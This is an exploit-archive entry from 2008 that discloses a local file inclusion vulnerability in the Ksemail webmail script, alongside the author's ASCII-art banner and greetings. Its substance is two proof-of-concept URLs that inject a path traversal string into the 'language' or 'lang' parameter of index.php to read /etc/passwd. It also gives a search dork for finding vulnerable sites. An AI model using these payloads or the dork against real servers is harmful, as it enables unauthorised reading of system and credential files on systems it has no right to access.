[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Ksemail (index.php language) Local File Inclusion Vulnerability
# Published : 2008-04-10
# Author : dun
# Previous Title : LiveCart <= 1.1.1 (category id) Blind SQL Injection Exploit
# Next Title : LightNEasy 1.2 (no database) Remote Hash Retrieve Exploit
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discoverd by dun dun[at]strcpy.eu ]
#####################################################
# [ Ksemail ] Local File Include Vulnerability #
#####################################################
#
# Script site: http://www.ksemail.com/, http://mail.ksemail.com
#
# Vuln:
# http://site.com/prog/index.php?language=../../../../../../etc/passwd
# http://site.com/prog/index.php?lang=../../../../../../etc/passwd
#
# Dork example: "FoxMail/Outook"
#
###############################################
# Greetz: D3m0n_DE, nejman, sid_psycho
# and all otherz.. [;
###############################################
[ dun / 2008 ]
********************************************************************************************
# www.Syue.com [2008-04-10]